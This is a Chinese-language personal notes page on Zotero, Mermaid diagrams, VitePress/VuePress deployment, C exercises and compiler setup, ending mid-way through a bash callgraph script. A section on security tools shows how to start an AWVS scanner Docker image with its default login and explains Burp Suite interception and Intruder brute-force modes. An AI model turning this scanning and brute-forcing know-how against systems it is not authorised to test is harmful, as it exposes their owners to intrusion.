![](https://unv-shield.librian.net/api/unv_shield?code=1&url=https://avatars.githubusercontent.com/u/59549826&scale=2&txt=好!&border=4&barradius=999)
+
没搞定, 太繁杂了感觉, mark 下, 以后有空再弄
官网下载 Zotero, EDGE 插件 以及 VSCode Zotero 插件[可选, 主要看自己习惯用什么写 markdown]
[quick start guide Zotero Documentation]
[adding items to zotero Zotero Documentation]
[collections and tags Zotero Documentation]
[creating bibliographies Zotero Documentation]
[word processor plugin usage Zotero Documentation]
下载此 xpi
文件后打开 Zotero->工具->插件->右上方齿轮图标-> Install add-on From File...
选择下载好的 xpi
文件进行安装, 安装完后重启 Zotero
会自动进入 Better BibTeX
的配置页面(均默认即可)
然后进入 Zotero
主界面 编辑->首选项->Better BibTeX
进行如下配置:
返回 Zotero
主界面后会看到多了一列 Citation Key
属性
Citation Key
可以理解成每个条目的唯一 id, 在上述配置过程中我们将其配置成了[auth:lower[year]
的形式, 如果有重复的话会在后面添加a b c
或者数字进行区分
graph LR;
+a-->b[2<br>3<br>3]
+
gantt
+dateFormat YYYY-MM-DD
+title 甘特图
+excludes weekdays 2014-01-10
+
+Completed task : des1, 2014-01-06,2014-01-08
+Active task : des2, 2014-01-09, 2d
+Future task : des3, after des2, 5d
+Future task2 : des4, after des3, 5d
+
flowchart TD
+ Start --> Stop
+
-->
实线箭头
TB
- top to bottomTD
- top-down/ same as top to bottomBT
- bottom to topRL
- right to leftLR
- left to rightflowchart LR
+ id1(round edges)
+ id2([stadium-shaped])
+ id3[[subroutine shape]]
+ id4[(A node in a cylindrical shape)]
+ id5((A node in the form of a circle))
+ id6>A node in an asymmetric shape]
+ id7{A node rhombus}
+ id8{{A hexagon node}}
+ id9[/Parallelogram/]
+ id10[\Parallelogram alt\]
+ id11[/Trapezoid\]
+
flowchart LR
+ A --> B
+ A --实线单箭头--> B
+ A -->|实线单箭头|C
+
+ B --- C
+ B --实线--- C
+ B ---|实线|D
+
+ C -.-|虚线|D
+ C -.->|虚线单箭头|D
+
+ D ==> E
+ D ==>|粗实线单箭头|E
+
+ E --> F & G --> H
+
+ H & I --> J & K
+
+ L --o|实线圆头|M
+ M --x|实线x头|N
+
+ N <--> |双向箭头|O
+ O o--o P
+ P x--x Q
+
+ R -------|横线越多越长| S
+
flowchart LR
+ A["结点内使用(括号)"]
+
语法
:
subgraph title
+ graph definition
+end
+
示例
:
flowchart TB
+ c1-->a2
+ subgraph one
+ a1-->a2
+ end
+ subgraph two
+ b1-->b2
+ end
+ subgraph three
+ c1-->c2
+ end
+
sequenceDiagram
+participant C as Client.discard(9)
+participant S as Server.47660
+C ->> S: [SYN] 请求建立 TCP 连接
+S ->> C: [SYN ACK] 确认建立 TCP 连接
+C ->> S: [ACK] 确认收到确认建立 TCP 连接
+
+Note over C,S: ↑ 3 次握手
+
+loop 数据传输(不分片情况)
+C ->> S: [PSH ACK] 发送数据
+S ->> C: [ACK]确认接收数据
+end
+
+Note over C,S: ↓ 4 次挥手
+
+C ->> S: [FIN, ACK] 发起终止连接请求
+S ->> C: [ACK] 确认终止连接请求
+S ->> C: [FIN, ACK] 发起终止连接请求
+C ->> S: [ACK] 确认终止连接请求
+
WBS diagram are still in beta: the syntax may change without notice.
@startwbs
+* Business Process Modelling WBS
+** Launch the project
+*** Complete Stakeholder Research
+*** Initial Implementation Plan
+** Design phase
+*** Model of AsIs Processes Completed
+**** Model of AsIs Processes Completed1
+**** Model of AsIs Processes Completed2
+*** Measure AsIs performance metrics
+*** Identify Quick Wins
+** Complete innovate phase
+@endwbs
+
vuejs/vitepress: Vite & Vue powered static site generator. (github.com)
VitePress | Vite & Vue Powered Static Site Generator (vuejs.org)
什么是 VitePress? | VitePress中文网 (vitejs.cn)
pnpm init
+
初始化后会在当前项目目录生成 package.json
文件, 使用 pnpm 需要编辑下该文件, 将下面的内容作为键值插入到 json 字典中
"pnpm": {
+ "peerDependencyRules": {
+ "ignoreMissing": [
+ "@algolia/client-search"
+ ]
+ }
+}
+
pnpm install vitepress vue -D
+
在项目目录下创建一个 docs
目录, 进入该目录创建一个 index.md
文件
随便编辑下该文档用于待会儿测试页面内容显示
在 packages.json
中添加一些 scripts
{
+ ...
+ "scripts": {
+ "docs:dev": "vitepress dev docs",
+ "docs:build": "vitepress build docs",
+ "docs:serve": "vitepress serve docs"
+ },
+ ...
+}
+
在本地运行 vitepress
pnpm docs:dev
+
默认会在本地的 5173
端口启动服务, 访问 http://localhost:5173/
即可查看页面
按照类似目录结构创建更多文档
.
+├─ docs
+│ ├─ getting-started.md
+│ └─ index.md
+└─ package.json
+
使用 pnpm 时,需要安装 vue
和 @vuepress/client
作为 peer-dependencies ,即
pnpm add -D vue @vuepress/client@next
+
然后将 VuePress 安装为本地依赖
pnpm install -D vuepress@next
+
在 package.json
中添加一些 scripts
{
+ "scripts": {
+ "docs:dev": "vuepress dev docs",
+ "docs:build": "vuepress build docs"
+ }
+}
+
编辑 .gitignore
文件, 添加临时目录和缓存目录以及 dist
目录
node_modules
+.temp
+.cache
+docs/.vuepress/dist
+
在根目录下创建 docs
目录然后新建一个 README.md
文件并随便输入些文字
可以先在本地尝试运行和打包下
pnpm run docs:dev
+pnpm run dos:build
+
在 docs/.vuepress
目录下创建 config.js
module.exports = {
+ // 站点的标题
+ title: "VuePressTest",
+ // 站点的描述
+ description: "This is a blog.",
+ // 站点配置, 设置为 /[仓库名]/
+ base: '/VuePressTest/',
+}
+
需要注意的是, 这里的 base 务必配置好, 否则之后部署完后可能会出现引入资源找不到的情况
因为默认 base 是
/
, 所以如果将站点部署到具体到仓库的子路径的话, 构建的 html 文档中的资源引入链接仍然指向了根目录, 就会 404React/Vue 项目在 GitHub Pages 上部署时资源的路径问题_mob60475707634e的技术博客_51CTO博客
.github/workflows/docs.yml
'name: Deploy Docs
+
+on:
+ push:
+ branches:
+ # make sure this is the branch you are using
+ - main
+
+jobs:
+ deploy-gh-pages:
+ runs-on: ubuntu-latest
+ steps:
+ - name: Checkout
+ uses: actions/checkout@v3
+ with:
+ fetch-depth: 0
+ # if your docs needs submodules, uncomment the following line
+ # submodules: true
+
+ - name: Setup Node.js environment
+ uses: actions/setup-node@v3.5.1
+ with:
+ # 选择要使用的 node 版本
+ node-version: '18'
+
+ - name: Setup pnpm
+ uses: pnpm/action-setup@v2.2.4
+ with:
+ version: 6.0.2
+
+
+ - name: Install Deps
+ run: pnpm install
+
+ - name: Build Docs
+ env:
+ NODE_OPTIONS: --max_old_space_size=8192
+ # 需要注意的是 github pages的jekyll模版会忽略下划线开头的文件
+ # 所以要禁用jekyll才能正确加载带下划线的资源
+ # 可以通过在项目根目录下创建一个名为 .nojekyll 的空文件来禁用jekyll
+ # 关于 -run 和 run | 的区别可参阅:
+ # https://stackoverflow.com/questions/59529042/difference-between-run-and-multiple-runs-in-github-actions
+ run: |-
+ pnpm run docs:build
+ echo > docs/.vuepress/dist/.nojekyll
+
+
+ # 查看 workflow 的文档来获取更多信息
+ # @see https://github.com/crazy-max/ghaction-github-pages
+ - name: GitHub Pages
+ uses: crazy-max/ghaction-github-pages@v3.1.0
+ with:
+ # 部署到 gh-pages 分支
+ target_branch: gh-pages
+ # 部署目录为 VuePress 的默认输出目录
+ build_dir: docs/.vuepress/dist
+ env:
+ # @see https://docs.github.com/cn/actions/reference/authentication-in-a-workflow#about-the-github_token-secret
+ GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+
Settings->Pages
将 BUild and deployment->source
修改为 Deploy from a branch
(默认值就是这个), 然后选择 gh-pages->/root
并 Save
Actions
界面看到多了一个 Action主页 | vuepress-theme-hope (vuejs.press)
直接看官方文档即可, 下面部分的笔记仅适用于个人更新依赖的时候瞄一眼需要更新的模块
# 使用 vuepress_theme_hope 初始化一个 vuepress 项目
+pnpm create vuepress-theme-hope@next [dir]
+
+# 获取为当前项目添加 vuepress_theme_hope 支持
+pnpm install -D vuepress-theme-hope@next
+
这里的
[dir]
是一个参数,你需要使用真实的文件夹名称替换它,例如docs
、src
或其他你喜欢的名称。
pnpm add -D vuepress-plugin-search-pro@next
+
pnpm add -D vuepress-plugin-sitemap2
+
PS: 抄配置时需要配下 hostname 这个必填项, 填入域名即可
pnpm add -D vuepress-plugin-seo2
+
PS: 抄配置时需要配下 hostname 这个必填项, 填入域名即可
Vuepress Error: ENOSPC: System limit for number of file watchers reach
Error: ENOSPC: System limit for number of file watchers reached - Get Help - Vue Forum (vuejs.org)
echo fs.inotify.max_user_watches=524288 | sudo tee -a /etc/sysctl.conf && sudo sysctl -p
+
知网中选择若干文献导出题录,复制到剪贴板后粘贴到参考文献栏中
将复制的题录粘贴后将粘贴部分内容全选->段落->缩进->悬挂->2字符
由于这里粘贴的标号不是word自动生成的,所以系统可能不会认, 可以按住 ALT 键并拖动鼠标框选引文标号并将其删除
添加完新的编号格式后全选刚才删除了编号的参考文献, 然后使用刚才创建的编号样式即可:
第一个是我自己写的网页引用, 后面的是知网导出的
图片中的奇怪符号是格式, 我开启了显示所有格式
自定义交叉引用快捷键:
文件->选项->自定义功能区->键盘快捷方式[自定义]->"引用"选项卡->InsertCrossReference->请按新快捷键->Alt+J
在引文句尾 使用快捷键添加交叉引用 -> 编号项 -> 段落编号 -> 找到具体引文
:
选中添加上来的交叉引用, 使用 Ctrl Shift +
将其设置为上标即可完成交叉引用的添加
此时按住 ctrl
点击该上标即可跳转到参考文献的相应部分
Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。
AWVS是一款Web漏洞扫描工具,通过网络爬虫测试网站安全,检测流行的Web应用攻击,如跨站脚本、sql 注入等。据统计,75% 的互联网攻击目标是基于Web的应用程序。
# 找下关于 awvs 的镜像
+docker search awvs
+# 选择一个镜像进行拉取
+docker pull secfa/awvs
+# 将镜像跑位容器
+docker run -it -d --name awvs -p 3443:3443 --restart=always secfa/awvs:latest
+# 进入容器编辑 /home/acunetix/.acunetix/data/license/license_info.json 填入 license 信息
+# 访问 web 页面
+URL: https://[ip]:3443/#/login
+UserName: admin@admin.com
+PassWord: Admin123
+
Target Analyzer
, Content Discovery
和 Task Scheduler
Proxy 模块可以通过与浏览器代理配置相同的本地端口来截取浏览器请求
在 Proxy -> Options
中编辑代理配置, 比如代理本地的 8080 端口:
在 Firefox 中也将代理配置为此项:
这样配置完后, 在 Firefox 中的请求会被 BurpSuit 截获, 可在 BurpSuit 中进行相关操作
Burp Proxy 是Burp Suite以用户驱动测试流程功能的核心,通过代理模式,可以让我们拦截、查看、修改所有在客户端和服务端之间传输的数据。
一般使用Burp Proxy时,大体涉及环节如下:
首先,确认JRE已经安装好,Burp Suite可以启动并正常运行,且已经完成浏览器的代理服务器配置。
点击 Proxy 中的 Intercept(拦截) 选项卡中的 intercept is off
按钮将其切换为 intercept is on
开始拦截数据
在浏览器中访问数据, 比如访问 baidu.com, 这时你将会看到数据流量经过Burp Proxy并暂停
Forward
,才会继续传输下去。Drop
,则这次通过的数据将会被丢失,不再继续处理。在当前的 intercept
界面有两个视图
Raw: 该视图主要显示web请求的raw格式,包含
请求地址
http 协议版本
主机头
浏览器信息
、Accept可接受的内容类型
、字符集
、编码方式
、cookie
等。你可以通过手工修改这些信息,对服务器端进行渗透测试。
Hex: 这个视图显示Raw的二进制内容,你可以通过hex编辑器对请求的内容进行修改。
Forward
之后可以在浏览器中或者是 HTTP history
中查看本次请求的响应内容
默认情况下,Burp Proxy只拦截请求的消息,普通文件请求如 css
、js
、图片是不会被拦截的,你可以修改默认的拦截选项来拦截这些静态文件,当然,你也可以通过修改拦截的作用域、参数或者服务器端返回的关键字来控制Burp Proxy的消息拦截,
所有流经Burp Proxy的消息,都会在 http history
记录下来,我们可以通过历史选项卡,查看传输的数据内容,对交互的数据进行测试和验证。
同时,对于拦截到的消息和历史消息,都可以通过右击弹出菜单,发送到Burp的其他组件,如Spider、Scanner、Repeater、Intruder、Sequencer、Decoder、Comparer、Extender,进行进一步的测试。
或者点此按钮
Burp Proxy 的拦截功能主要由 Intercept 选项卡中的 Forward、Drop、Interception is on/off、Action、Comment 以及Highlight构成,
Forward
的功能是当你查看过消息或者重新编辑过消息之后,点击此按钮,将发送消息至服务器端。
Drop
的功能是你想丢失当前拦截的消息,不再 forward 到服务器端。
Interception is on
表示拦截功能打开,拦截所有通过Burp Proxy的请求数据;
nterception is off
表示拦截功能关闭,不再拦截通过Burp Proxy的所有请求数据。
Action
的功能是除了将当前请求的消息传递到 Spider、Scanner、Repeater、Intruder、Sequencer、Decoder、Comparer组件外,还可以做一些请求消息的修改,如
Comment
可以对拦截的消息添加备注,在一次渗透测试中,你通常会遇到一连串的请求消息,为了便于区分,在某个关键的请求消息上,你可以添加备注信息。
Highlight
的功能与Comment功能有点类似,即对当前拦截的消息设置高亮,以便于其他的请求消息相区分。
从界面显示来看,主要包括以下几大板块
Burp Proxy的历史记录由HTTP历史和 WebSockets 历史两个部分组成。
HTTP历史界面由筛选过滤器、历史记录列表、消息详情3个部分组成。
当我们在某一条历史记录上单击,会在下方的消息详解块显示此条消息的文本详细信息。当我们在某条消息上双击,则会弹出此条消息的详细对话框。
Intruder 是 Burp Suite中一款功能极其强大的自动化测试工具,通常被使用在各种任务测试的场景中。
Intruder 模块通过对 http request 的数据包以变量的方式自定义参数, 然后根据对应策略进行自动化的重放, 常用于自动化猜测/暴力破解的过程中
target 选项卡
设置攻击目标, 可以通过 Proxy 发送
Position 选项卡
指定需要暴力破解的参数并设置成变量, 同时选择攻击模式
Sniper
设置一个 payload, 先将第一个变量使用字典进行测试, 然后再将第二个变量使用字典进行测试
Battering ram
设置一个 payload, 所有的变量一起用字典内容替换(为同一内容), 然后一起尝试
Ptichfork
每个变量设置一个 payload, 分别使用对应的字典对变量进行同时替换
也即两个字典同时跑, 不会做交叉组合, 而是二者按照序号一一对应跑
Cluster bomb
需要为每个变量设置一个 payload, 分别使用字典内容组合对变量进行替换
常用于暴力破解
Payloads 选项卡
设置字典, 并可以对字典进行统一的策略处理
options选项卡
对扫描的线程, 失败重试等进行配置
对结果设置匹配的 flag: 通过一个标识符来区别结果, 并在结果栏中 flag 出来
Repeater 是 Burp Suite 中一款手工验证 HTTP 消息的测试工具,通常用于多次重放请求响应和手工修改请求消息的修改后对服务器端响应的消息分析。
通过循环整除10计算数字位数
通过 %10 获取末位数字, /10 去除末位数字
已知所有参数, 累加求和与原数字比较即可
第一次用 CLion 写 C 项目, 踩了一鞋坑
Windows 下使用 \\r\\n, 单独使用 \\r 或 \\n 要么编译报错, 要么运行奇怪
尤其是后者, 排查了半天代码没找到逻辑错误最后才发现是先前好奇行分隔符有什么用随手改了下
有时候添加文件会自动变更 CMakeLists.txt, 需要留意下
Each resistor has a resistance value.
每个电阻器都有一个电阻值
Resistors are small - so small in fact that if you printed the resistance value on them, it would be hard to read. 电阻器一般比较小, 所以如果将其电阻值印在上面, 就很难看
To get around this problem, manufacturers print color-coded bands onto the resistors to denote their resistance values. Each band has a position and a numeric value. 为了解决这个问题, 厂商会在电阻器上印上颜色编码带
来表示它们的电阻值. 每个带
有对应的位置和数值
The first 2 bands of a resistor have a simple encoding scheme: each color maps to a single number. 电阻器的前两个圈带有简单的编码方案: 每个颜色都映射到一个单一的数字
In this exercise you are going to create a helpful program so that you don't have to remember the values of the bands. 在这个练习中, 你要创建一个有用的程序, 以便你不必记住带的值
These colors are encoded as follows:
The goal of this exercise is to create a way: 这个练习的目标是创建一个方式:
Mnemonics map the colors to the numbers, that, when stored as an array, happen to map to their index in the array: Better Be Right Or Your Great Big Values Go Wrong.
映射颜色到数字, 当存储为数组时, 它们会映射到数组的索引: 映射最好准确否则将可能得到错误的 big values
这题给的模板很简略, 就给了一个枚举类型的定义框架, 函数需要去看测试用例来确定返回值, 函数名以及参数
测试用例里用到了两个函数, color_code(WHITE)
和 colors()
color_code()
的参数为头文件中定义的枚举类型参数, 返回值看测试用例应当是整数
colors()
的参数为空, 返回值看测试用例应当是一个枚举数组, 不过需要注意的是返回数组实际上返回的是一个指针, 因此则需要指针指向的数组是不可变的也即该数组不应随着函数调用结束而释放, 因此该数组应当是静态的
resistor_color.h
resistor_color.c
Determine if a word or phrase is an isogram.
An isogram (also known as a "nonpattern word") is a word or phrase without a repeating letter, however spaces and hyphens are allowed to appear multiple times.
Examples of isograms:
The word isograms, however, is not an isogram, because the s repeats.
hyphens - 连字符
新建一个长度为 26 默认值为 0 的整型数组, 遍历 const 字符数组, 定义一个 char ch 接收遍历到的字符, 若 ch 为大写字母则转换为小写字母, 若 ch 并非字母则继续下一步遍历, 将 ch 作为哈希表的键访问对应值, 若为 0 则说明该字符尚未出现过并将其置 1, 若为 1 则说明该字母已经出现过一次, 返回 false
也可以定义一个哈希表, 捏合上面的操作为一个哈希函数
Exercism Segmentation fault (core dumped)
通常情况该这是由于访问了不该访问的内存导致的, 可以通过 valgrind
来检查
具体情况可能是数组下标越界, 或者是指针指向的内存已被释放或其他原因
在做此题的过程中检查了半天问题, 最终发现是 TestCase 中有 NULL, 我忘记考虑 NULL 的情况了
- 'A'
和 - 'a'
获取其在字母表中的相对位置Calculate the Hamming Distance between two DNA strands.
计算两个 DNA 片段的汉明间距
Your body is made up of cells that contain DNA. Those cells regularly wear out and need replacing, which they achieve by dividing into daughter cells. In fact, the average human body experiences about 10 quadrillion cell divisions in a lifetime!
身体由细胞组成, 细胞内含 DNA. 细胞每天都会衰老, 需要代谢, 它们通过分裂来完成代谢. 实际上, 人类的身体在一生中经历了 10 千万亿次细胞分裂.
When cells divide, their DNA replicates too. Sometimes during this process mistakes happen and single pieces of DNA get encoded with the incorrect information. If we compare two strands of DNA and count the differences between them we can see how many mistakes occurred. This is known as the "Hamming Distance".
细胞分裂时, DNA 也会复制. 有时候会发生错误, 有些 DNA 片段会被编码为错误的信息. 如果我们比较两个 DNA 片段, 并计算两个片段之间的不同, 我们可以看到产生了多少错误. 这称为 "汉明距".
We read DNA using the letters C,A,G and T. Two strands might look like this:
GAGCCTACTAACGGGAT
+CATCGTAATGACGGCCT
+^ ^ ^ ^ ^ ^^
+
They have 7 differences, and therefore the Hamming Distance is 7.
The Hamming Distance is useful for lots of things in science, not just biology, so it's a nice phrase to be familiar with 😃
The Hamming distance is only defined for sequences of equal length, so an attempt to calculate it between sequences of different lengths should not work. The general handling of this situation (e.g., raising an exception vs returning a special value) may differ between languages.
hamming.h
#ifndef HAMMING_H
+#define HAMMING_H
+
+int compute(const char *lhs, const char *rhs);
+
+#endif
+
#include "test-framework/unity.h"
+#include "hamming.h"
+void setUp(void)
+{
+}
+void tearDown(void)
+{
+}
+static void test_empty_strands(void)
+{
+ TEST_ASSERT_EQUAL(0, compute("", ""));
+}
+static void test_single_identical_strands(void)
+{
+ TEST_IGNORE(); // delete this line to run test
+ TEST_ASSERT_EQUAL(0, compute("A", "A"));
+}
+static void test_single_letter_different_strands(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(1, compute("G", "T"));
+}
+static void test_long_identical_strands(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(0, compute("GGACTGAAATCTG", "GGACTGAAATCTG"));
+}
+static void test_long_different_strands(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(9, compute("GGACGGATTCTG", "AGGACGGATTCT"));
+}
+static void test_disallow_first_strand_when_longer(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(-1, compute("AATG", "AAA"));
+}
+static void test_disallow_second_strand_when_longer(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(-1, compute("ATA", "AGTG"));
+}
+static void test_disallow_empty_first_strand(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(-1, compute("", "G"));
+}
+static void test_disallow_empty_second_strand(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(-1, compute("G", ""));
+}
+int main(void)
+{
+ UnityBegin("test_hamming.c");
+ RUN_TEST(test_empty_strands);
+ RUN_TEST(test_single_identical_strands);
+ RUN_TEST(test_single_letter_different_strands);
+ RUN_TEST(test_long_identical_strands);
+ RUN_TEST(test_long_different_strands);
+ RUN_TEST(test_disallow_first_strand_when_longer);
+ RUN_TEST(test_disallow_second_strand_when_longer);
+ RUN_TEST(test_disallow_empty_first_strand);
+ RUN_TEST(test_disallow_empty_second_strand);
+ return UnityEnd();
+}
+
那这就没什么难度了, 用 string.h
中的 strlen
函数来计算字符串长度, 不同则返回 -1
否则定义并初始化计数器, 遍历字符串找出不同字符数目即可
关键字 constexpr
(constant expression) 是在 C++11 中引入的,并且在 C++14 中进行了优化。
constexpr
和 const
一样可以用来修饰变量:试图修改 constexpr
变量时,编译器将会报错。
不同于 const
, constexpr
还可以修饰函数和类的构造函数。 constexpr
表示值或者返回值是常量,并且如果可能,在编译时计算它们。
一个 constexpr
整型值能够用在任何 const
整型值可以用的地方,例如模板参数和数组的申明。
当值在编译时计算而不是运行时计算时,它能够使程序运行得更快,并使用更少的内存。
为了限制编译时常量计算的复杂性,以及其对编译时间潜在的影响, C++14 标准需要 constexpr
类型必须为字面值类型。
1、字面值常量:一个形如42的值被称作字面值常量,这样的值一望而知。每个字面值常量都对应一种数据类型,字面值常量的形式和值决定了它的数据类型,包含:
整型和浮点型字面值 字符和字符串字面值 布尔字面值和指针字面值: bool test = false; nullptr是指针字面值;
———————————————— 版权声明:本文为CSDN博主「十一月zz」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/baidu_35679960/article/details/78934193
constexpr
,当值在编译时计算而不是运行时计算时,它能够使程序运行得更快,并使用更少的内存。constexpr
是对象或者函数接口的一部分,所以如果你使用了 constexpr
但反悔了,移除 constexpr
可能会导致大量的调用代码编译失败。(比如添加 I/O 操作用于调试或者性能调优可能导致这样的问题,因为 I/O 语句通常不是在 constexpr
函数中执行的。)Visual Studio 2010
开始,**auto
**关键字宣布一个变量,其类型是从声明的初始化表达中推断出的 strcpy_s(str, strlen(str1)+1, str1);
pragma: 编译指示, 杂注
#pragma once
可以减少 build
次数, 因为编译器会在该文件第一次被 #include
时打开并读取该文件并且之后不再重读读取从 VS 的 工具 -> 获取工具和功能
唤醒 Visual Studio Installer
查看自己的 VS 的安装目录
我这里的路径是:
C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community
下面配置环境变量要用到
打开 此电脑 -> 属性 -> 高级系统设置 -> 环境变量
并按照如下所示修改 系统变量
// 编辑 Path 变量, 添加如下路径, 注意这里的 VS 目录就是上一步找到的目录
+C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\VC\\Tools\\MSVC\\14.29.30037\\bin\\Hostx86\\x86
+
+// 新建 INCLUDE 变量并加入如下配置(每条配置间用;隔开)(其实输完第一条配置且加了;并回车确定后再编辑该环境变量就会有编辑弹窗可以一条条新建了); 需要留意的是如果你的 VS 是装在 C:\\Program Files 里的那么这里的 Windows Kits 文件夹可能就在 C:\\Program Files 目录中
+C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\VC\\Tools\\MSVC\\14.29.30037\\include
+C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17763.0\\shared
+C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17763.0\\ucrt
+C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17763.0\\um
+C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17763.0\\winrt
+
+// 新建 LIB 变量并加入如下配置
+C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\VC\\Tools\\MSVC\\14.29.30037\\lib\\x86
+C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.17763.0\\um\\x86
+C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.17763.0\\ucrt\\x86
+
修改完这些变量后依次按确定关闭打开的窗口以保存修改
win + R -> cmd
并回车打开命令行窗口, 输入 cl 并回车, 如下所示查看是否配置成功
重启 VSCode 以加载新的环境变量
新建一个目录并使用 VSCode 打开(因为会在 VSCode 当前打开文件夹的根目录下自动生成配置文件, 所以这里先新建一个干净的目录再用 VSCode 打开以免污染外围环境)
新建一个测试用的 cpp 文件如 test.cpp 并将编码调为 GBK (这个我没找到适配 UTF-8 的适配方案, 是一个从我用 VS 来就存在的严重问题.....)
#include <iostream>
+using namespace std;
+
+int main(){
+ cout << "这是一个测试" << endl;
+ return 0;
+}
+
使用 Ctrl + Shift + B
快捷键会唤起该窗口, 选择该项则会在侧边生成编译链接文件
使用 F5
快捷键唤起该窗口并选择 C++ Windows -> cl.exe
会在当前 VSCode 打开的文件夹的根目录下生成一个含有 launch.json
文件 的 .vscode
文件夹
json 文件内容如下:
{
+ // 使用 IntelliSense 了解相关属性。
+ // 悬停以查看现有属性的描述。
+ // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
+ "version": "0.2.0",
+ "configurations": [
+ {
+ "name": "cl.exe - 生成和调试活动文件",
+ "type": "cppvsdbg",
+ "request": "launch",
+ "program": "\${fileDirname}\\\\\${fileBasenameNoExtension}.exe",
+ "args": [],
+ "stopAtEntry": false,
+ "cwd": "\${fileDirname}",
+ "environment": [],
+ "console": "externalTerminal",
+ "preLaunchTask": "C/C++: cl.exe 生成活动文件"
+ }
+ ]
+}
+
将标签页切换回 test.cpp
并再次按 F5
以执行生成的可执行文件
检查 gcc
, gdb
gcc --version
+gdb --version
+
简单来说就是下载 [msys](https://objects.githubusercontent.com/github-production-release-asset-2e65be/80988227/4fdf0417-d097-4519-854b-133188c60e38?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230613%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230613T095929Z&X-Amz-Expires=300&X-Amz-Signature=e434be09c0fc8a6700ce1027ae10bea8e2078b50c4f75167a9ed1f0895b82fcc&X-Amz-SignedHeaders=host&actor_id=59549826&key_id=0&repo_id=80988227&response-content-disposition=attachment%3B filename%3Dmsys2-x86_64-20220603.exe&response-content-type=application%2Foctet-stream), 在弹出的窗口中使用 pacman -S --needed base-devel mingw-w64-x86_64-toolchain
安装工具链
MSYS (Minimal SYStem) 是一个轻量级的类 Unix 环境,是为 Windows 平台提供的一个集成开发环境。它是一种方便 Windows 用户模拟 Linux 环境和使用一些 Linux 工具的解决方案。
MSYS 最初是为了支持 MinGW (Minimalist GNU for Windows) 而创建的。MinGW 是一个用于生成 Windows 应用程序的 GCC 编译器的轻量级分发版,它不依赖于任何 Unix 系统,而 MSYS 提供了一些帮助 MinGW 工作的 Unix 工具,如 bash shell,以及许多常见 Unix 工具如 grep,sed,awk 等。
总的来说,MSYS 是一个简化的 POSIX/SUS 兼容的 Bourne shell 命令行解释器环境。使用它,开发者可以在 Windows 上运行自动化构建脚本,例如 Bash 脚本和 Makefile 等,从而使在 Windows 上编译 Unix 和 Linux 软件变得更加容易。
将 msys64\\mingw64\\bin
加到 Path
环境变量中重启 VSCode 加载环境变量即可
配置备份:
tasks.json
{
+ // See https://go.microsoft.com/fwlink/?LinkId=733558
+ // for the documentation about the tasks.json format
+ "version": "2.0.0",
+ "tasks": [
+ {
+ "label": "Compile",
+ "type": "shell",
+ "command": "gcc",
+ "args": [
+ "\${file}",
+ "-o",
+ "\${fileDirname}/\${fileBasenameNoExtension}.exe",
+ "-g",
+ "-Wall",
+ "-std=c++17",
+ "-lstdc++"
+ ],
+ "group": {
+ "kind": "build",
+ "isDefault": true
+ }
+ }
+ ]
+}
+
launch.json
{
+ // Use IntelliSense to learn about possible attributes.
+ // Hover to view descriptions of existing attributes.
+ // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
+ "version": "0.2.0",
+ "configurations": [
+ {
+ "name": "(gdb) Launch",
+ "type": "cppdbg",
+ "request": "launch",
+ "program": "\${workspaceFolder}/\${fileBasenameNoExtension}.exe",
+ "args": [],
+ "stopAtEntry": false,
+ "cwd": "\${workspaceFolder}",
+ "environment": [],
+ "externalConsole": false,
+ "MIMode": "gdb",
+ "miDebuggerPath": "gdb.exe",
+ "miDebuggerArgs": "-q",
+ "setupCommands": [
+ {
+ "description": "Enable pretty-printing for gdb",
+ "text": "-enable-pretty-printing",
+ "ignoreFailures": true
+ }
+ ],
+ "preLaunchTask": "Compile"
+ }
+ ]
+}
+
文件中的内容分别如下:
tree2dotx
:
#!/bin/bash
+#
+# callgraph -- Generate a callgraph of a specified function in specified file/directory
+#
+# -- Based on cflow and tree2dotx
+#
+# Usage:
+#
+# $ callgraph
+#
+# -f func_name
+# -d directory|file
+# -F filterstr
+# -D depth
+# -o directory
+#
+#
+# Output: ../callgraph/func.dir_file_name.svg
+#
+
+# OS
+OS=$(uname)
+
+# Tree2Dot
+TOP_DIR=$(cd $(dirname $0) && pwd)/
+tree2dotx=\${TOP_DIR}/tree2dotx
+
+# Output directory
+OUT_DIR=\${TOP_DIR}/../callgraph
+[ ! -d $OUT_DIR ] && OUT_DIR=./
+PIC_TYPE=svg
+
+# Get browser
+if [ "x$OS" == "xDarwin" ]; then
+ BROWSER=/Applications/Safari.app/Contents/MacOS/Safari
+else
+ BROWSER=chromium-browser
+fi
+
+# Default setting
+
+# Input: Function Name [Directory Name]
+func=main
+dir=./
+
+# Default depth of the tree
+depth=
+
+# filterstr for tree2dotx
+filterstr=""
+
+# Usage
+
+function usage
+{
+ echo ""
+ echo " $0 "
+ echo ""
+ echo " -f func_name"
+ echo " -d directory|file"
+ echo " -F filterstr"
+ echo " -D depth"
+ echo " -o directory"
+ echo ""
+}
+
+while getopts "F:f:d:D:o:b:h" opt;
+do
+ case $opt in
+ F)
+ filterstr=$OPTARG
